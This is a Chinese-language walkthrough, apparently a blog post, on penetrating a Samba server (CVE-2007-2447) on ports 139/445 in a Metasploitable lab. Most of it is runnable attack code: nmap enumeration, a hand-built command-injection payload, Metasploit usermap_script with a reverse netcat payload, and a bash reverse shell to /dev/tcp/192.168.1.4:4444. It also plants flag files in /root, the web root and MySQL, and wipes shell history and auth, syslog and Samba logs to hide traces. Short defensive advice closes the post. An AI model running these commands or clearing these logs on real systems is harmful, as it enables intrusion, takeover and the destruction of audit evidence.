139/445 端口(Samba 服务)渗透测试全流程总结与复习

一、端口与服务基础认知

1. 端口核心信息

端口号 服务名称 协议类型 核心作用
139 NetBIOS-SSN TCP 基于 NetBIOS 协议的文件 / 打印机共享,早期 Windows/Linux 文件共享核心端口
445 Microsoft-DS TCP 替代 139 的 SMB 协议端口,直接基于 TCP 实现文件共享、打印机共享、IPC 通信等功能

2. Samba 服务核心

  • 定义:Linux/Unix 系统下实现 SMB/CIFS 协议的开源软件,用于跨系统(Linux-Windows)文件 / 打印机共享。
  • 常见版本:3.X(高危漏洞集中版本)、4.X(安全性提升)。
  • 运行权限:通常以 root/root 等效权限运行,漏洞利用后易直接获取系统最高权限。

二、全闭环渗透测试流程

阶段 1:信息收集(被动 + 主动)

1. 基础端口扫描

bash

运行

复制代码
# 快速扫描端口开放状态
nmap -p 139,445 192.168.1.5

# 精准扫描:端口+服务版本+操作系统+禁用ping
nmap -sV -Pn -p 139,445 -O 192.168.1.5

核心输出解读

  • 确认端口状态(open/closed/filtered);
  • 识别服务版本(如 Samba 3.0.20-Debian);
  • 初步判断操作系统(Unix/Linux/Windows)。
2. Samba 专项漏洞与信息枚举

bash

运行

复制代码
# 一站式枚举:漏洞+系统信息+共享目录
nmap --script smb-vuln*,smb-os-discovery,smb-enum-shares -p 139,445 192.168.1.5

核心脚本解读

脚本名称 作用
smb-os-discovery 探测目标 OS 类型、计算机名、域名、Samba 版本、系统时间
smb-enum-shares 枚举共享目录、共享权限(匿名访问 / 读写)、共享路径
smb-vuln-* 探测已知高危漏洞(如 MS10-054/061 永恒之蓝、CVE-2007-2447 等)
3. 关键信息提取(以本次靶机为例)
  • Samba 版本:3.0.20-Debian(存在 CVE-2007-2447 远程代码执行漏洞);
  • 共享目录:
    • \\192.168.1.5\IPC$:匿名可读可写(IPC 管道,用于交互);
    • \\192.168.1.5\tmp:匿名可读可写(磁盘目录,可上传 / 执行文件);
  • 漏洞排除:无 MS10-054/061(永恒之蓝)漏洞,存在 CVE-2007-2447 高危漏洞。

阶段 2:漏洞探测与验证

1. 漏洞原理(CVE-2007-2447)
  • 核心成因 :Samba 3.0.20 处理 "username map"(用户名映射)功能时,未对用户输入做严格过滤,允许将|(管道符)后的内容作为系统命令执行;
  • 触发条件:Samba 服务开启、版本为 3.0.20 及以下、139/445 端口可访问。
2. 手动验证(非 Metasploit)

bash

运行

复制代码
# 1. 测试匿名访问共享目录
smbclient \\\\192.168.1.5\\tmp -N  # -N 跳过密码输入(匿名访问)
# 进入smb shell后,验证读写权限
smb: \> put /tmp/test.sh  # 上传本地文件(验证写权限)
smb: \> ls  # 查看目录文件(验证读权限)
smb: \> exit

# 2. 手动构造漏洞利用(执行系统命令)
python -c 'import socket; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.1.5",139)); s.send(b"USER map:|echo 'root' > /tmp/pwned\n"); s.close()'
# 验证命令执行结果(需后续shell确认)

阶段 3:漏洞利用(获取权限)

1. Metasploit 一键利用(高效方式)

bash

运行

复制代码
# 1. 启动Metasploit
msfconsole

# 2. 搜索漏洞模块
search cve-2007-2447

# 3. 加载漏洞利用模块
use exploit/multi/samba/usermap_script

# 4. 配置攻击参数
set RHOSTS 192.168.1.5  # 目标IP
set RPORT 139           # 目标端口(139/445均可)
set PAYLOAD cmd/unix/reverse_netcat  # 反向shell载荷(默认)

# 5. 执行攻击
run

核心结果:获取 root 权限的反向 shell(Metasploitable 靶机中 Samba 以 root 运行)。

2. 备用利用方式(共享目录上传脚本)

bash

运行

复制代码
# 1. 准备恶意脚本(本地)
echo -e "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.4/4444 0>&1" > /tmp/shell.sh
chmod +x /tmp/shell.sh

# 2. 上传到靶机tmp共享
smbclient \\\\192.168.1.5\\tmp -N
smb: \> put /tmp/shell.sh
smb: \> exit

# 3. 本地监听端口
nc -lvnp 4444

# 4. 触发脚本执行(需其他方式,如计划任务/漏洞联动)

阶段 4:权限巩固与横向拓展

1. 系统信息收集(拿到 shell 后)

bash

运行

复制代码
# 1. 基础系统信息
cat /etc/issue          # 系统版本
uname -a               # 内核版本
ifconfig               # 网络配置
ps aux | grep samba    # Samba进程状态

# 2. 敏感文件读取
cat /etc/samba/smb.conf  # Samba配置文件(找用户/权限/共享)
cat /etc/passwd | grep -v nologin  # 可登录用户
ls -la /root/            # root目录文件
2. 提权验证(靶机已 root,生产环境需补充)
  • 若获取非 root 权限,可尝试:
    1. 利用 Samba 配置文件中的明文密码;
    2. 内核提权(结合 uname -a 结果找对应 exp);
    3. 利用其他服务(如 MySQL)联动提权。

阶段 5:插旗留证(渗透成果确认)

bash

运行

复制代码
# 1. root目录核心旗帜(最高权限证明)
echo -e "🏴 渗透成功标识 🏴\n渗透者:HackePts\n渗透时间:$(date)\n目标IP:$(hostname -I)\n获取权限:$(whoami)\n漏洞利用:CVE-2007-2447(Samba 3.0.20)" > /root/HackePts_FLAG.txt
cat /root/HackePts_FLAG.txt  # 验证创建

# 2. Web目录旗帜(直观可访问)
echo -e "<h1>🏴 HackePts PWNED 🏴</h1>\n<p>时间:$(date)</p>\n<p>权限:$(whoami)</p>\n<p>漏洞:CVE-2007-2447</p>" > /var/www/html/HackePts_FLAG.html

# 3. 数据库旗帜(可选,联动MySQL)
mysql -u root -e "CREATE DATABASE HackePts_PWNED; USE HackePts_PWNED; CREATE TABLE flag (content TEXT); INSERT INTO flag VALUES ('Samba渗透成功,时间:$(date),权限:root');"

阶段 6:痕迹清理(模拟真实渗透)

bash

运行

复制代码
# 1. 清除shell历史命令
history -c
rm -rf ~/.bash_history /root/.bash_history

# 2. 清空系统日志
echo "" > /var/log/auth.log       # 认证日志(Samba/SSH登录)
echo "" > /var/log/syslog         # 系统核心日志
echo "" > /var/log/samba/log.smbd # Samba专属日志

# 3. 退出shell并断开连接
exit

阶段 7:复盘与防御建议

1. 漏洞成因总结
  • 版本漏洞:Samba 3.0.20 未过滤用户输入,允许管道符执行系统命令;
  • 配置漏洞:匿名用户可读写共享目录(tmp/IPC$),降低攻击门槛;
  • 权限漏洞:Samba 以 root 运行,漏洞利用后直接获取最高权限。
2. 防御措施
  • 版本升级:升级至 Samba 4.10 + 稳定版本,修复历史高危漏洞;
  • 权限控制
    1. 禁用匿名访问:在 smb.conf 中设置guest ok = no
    2. 限制共享目录权限:tmp 共享设置为只读,或仅允许指定用户访问;
    3. 降低 Samba 运行权限:创建专用低权限用户运行 smbd 进程;
  • 端口防护
    1. 仅对内网开放 139/445 端口,外网禁止访问;
    2. 配置防火墙(iptables/ufw)限制访问 IP;
  • 日志监控:开启 Samba 详细日志,监控异常访问 / 命令执行行为。

三、核心知识点复盘

1. 关键漏洞

漏洞编号 影响版本 危害等级 利用方式
CVE-2007-2447 Samba 3.0.20-25 高危 用户名映射功能 RCE,直接拿 shell
MS17-010(永恒之蓝) Samba/Windows SMB 高危 远程代码执行,需特定版本 / 配置
CVE-2017-7494 Samba 3.5.0-4.6.4/4.7.0-4.7.2 高危 共享目录文件上传 + 代码执行

2. 核心命令速查

用途 命令
Samba 版本扫描 nmap -sV -p 139,445 目标 IP
共享目录枚举 nmap --script smb-enum-shares -p 139,445 目标 IP
匿名访问测试 smbclient \\ 目标 IP\ 共享名 -N
Metasploit 利用 use exploit/multi/samba/usermap_script → set RHOSTS → run
痕迹清理 history -c && echo "" > /var/log/auth.log

四、全流程闭环梳理

信息收集:端口扫描+版本枚举+共享目录识别

漏洞探测:验证CVE-2007-2447存在性

漏洞利用:Metasploit/手动构造获取root shell

权限巩固:系统信息收集+敏感文件读取

插旗留证:多位置创建渗透标识文件

痕迹清理:清除历史+日志

复盘防御:总结漏洞成因+制定防护措施

复制代码
flowchart TD
    A[信息收集:端口扫描+版本枚举+共享目录识别] --> B[漏洞探测:验证CVE-2007-2447存在性]
    B --> C[漏洞利用:Metasploit/手动构造获取root shell]
    C --> D[权限巩固:系统信息收集+敏感文件读取]
    D --> E[插旗留证:多位置创建渗透标识文件]
    E --> F[痕迹清理:清除历史+日志]
    F --> G[复盘防御:总结漏洞成因+制定防护措施]

核心闭环要点:从 "信息收集→漏洞利用→权限控制→留证→清理→防御" 全流程覆盖,既完成渗透测试目标,又形成 "攻击 - 防御" 的完整思维闭环,符合实战渗透测试的核心逻辑。

相关推荐
Aphasia3111 天前
VPN 与内网穿透
安全
Mr_愚人派2 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
大树883 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质3 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
开发者联盟league3 天前
安装pnpm
ssh
DaLi Yao3 天前
【无标题】
人工智能·安全
Inhand陈工3 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
Alsn863 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院3 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展